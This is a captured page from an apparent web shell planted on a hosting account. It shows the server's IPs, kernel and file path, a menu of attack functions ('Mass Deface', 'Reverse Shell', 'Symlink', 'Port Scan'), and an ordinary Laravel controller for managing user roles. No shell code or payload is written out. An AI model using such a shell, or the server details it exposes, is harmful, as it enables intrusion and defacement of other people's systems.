Tul xxx Tul
User / IP
:
216.73.216.146
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
ventas
/
app
/
Http
/
Controllers
/
Viewing: RoleController.php
<?php namespace App\Http\Controllers; use App\Models\Role; use App\Models\Permiso; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; class RoleController extends Controller { /** * Mostrar listado de roles */ public function index() { $roles = Role::withCount(['users', 'permisos']) ->orderBy('nivel', 'desc') ->get(); return view('roles.index', compact('roles')); } /** * Mostrar formulario para crear rol */ public function create() { $permisos = Permiso::orderBy('modulo')->orderBy('nombre')->get(); $permisosPorModulo = $permisos->groupBy('modulo'); return view('roles.create', compact('permisosPorModulo')); } /** * Guardar nuevo rol */ public function store(Request $request) { $validated = $request->validate([ 'nombre' => 'required|string|max:255|unique:roles', 'slug' => 'required|string|max:255|unique:roles', 'descripcion' => 'nullable|string', 'nivel' => 'required|integer|min:1|max:4', 'activo' => 'boolean', 'permisos' => 'array' ]); DB::transaction(function () use ($validated) { $role = Role::create([ 'nombre' => $validated['nombre'], 'slug' => $validated['slug'], 'descripcion' => $validated['descripcion'] ?? null, 'nivel' => $validated['nivel'], 'activo' => $validated['activo'] ?? true ]); if (!empty($validated['permisos'])) { $role->sincronizarPermisos($validated['permisos']); } }); return redirect()->route('roles.index') ->with('success', 'Rol creado exitosamente'); } /** * Mostrar formulario para editar rol */ public function edit(Role $role) { $permisos = Permiso::orderBy('modulo')->orderBy('nombre')->get(); $permisosPorModulo = $permisos->groupBy('modulo'); $permisosAsignados = $role->permisos->pluck('id')->toArray(); return view('roles.edit', compact('role', 'permisosPorModulo', 'permisosAsignados')); } /** * Actualizar rol */ public function update(Request $request, Role $role) { $validated = $request->validate([ 'nombre' => 'required|string|max:255|unique:roles,nombre,' . $role->id, 'slug' => 'required|string|max:255|unique:roles,slug,' . $role->id, 'descripcion' => 'nullable|string', 'nivel' => 'required|integer|min:1|max:4', 'activo' => 'boolean', 'permisos' => 'array' ]); DB::transaction(function () use ($role, $validated) { $role->update([ 'nombre' => $validated['nombre'], 'slug' => $validated['slug'], 'descripcion' => $validated['descripcion'] ?? null, 'nivel' => $validated['nivel'], 'activo' => $validated['activo'] ?? true ]); $role->sincronizarPermisos($validated['permisos'] ?? []); }); return redirect()->route('roles.index') ->with('success', 'Rol actualizado exitosamente'); } /** * Eliminar rol */ public function destroy(Role $role) { // No permitir eliminar si tiene usuarios asignados if ($role->users()->count() > 0) { return redirect()->route('roles.index') ->with('error', 'No se puede eliminar el rol porque tiene usuarios asignados'); } $role->delete(); return redirect()->route('roles.index') ->with('success', 'Rol eliminado exitosamente'); } /** * Asignar rol a usuario */ public function asignarRolUsuario(Request $request) { $validated = $request->validate([ 'user_id' => 'required|exists:users,id', 'role_id' => 'required|exists:roles,id' ]); $user = User::findOrFail($validated['user_id']); $user->update(['role_id' => $validated['role_id']]); return back()->with('success', 'Rol asignado exitosamente al usuario'); } /** * Ver permisos de un rol */ public function verPermisos(Role $role) { $permisos = $role->permisos()->orderBy('modulo')->orderBy('nombre')->get(); $permisosPorModulo = $permisos->groupBy('modulo'); return view('roles.permisos', compact('role', 'permisosPorModulo')); } }
Coded With 💗 by
0x6ick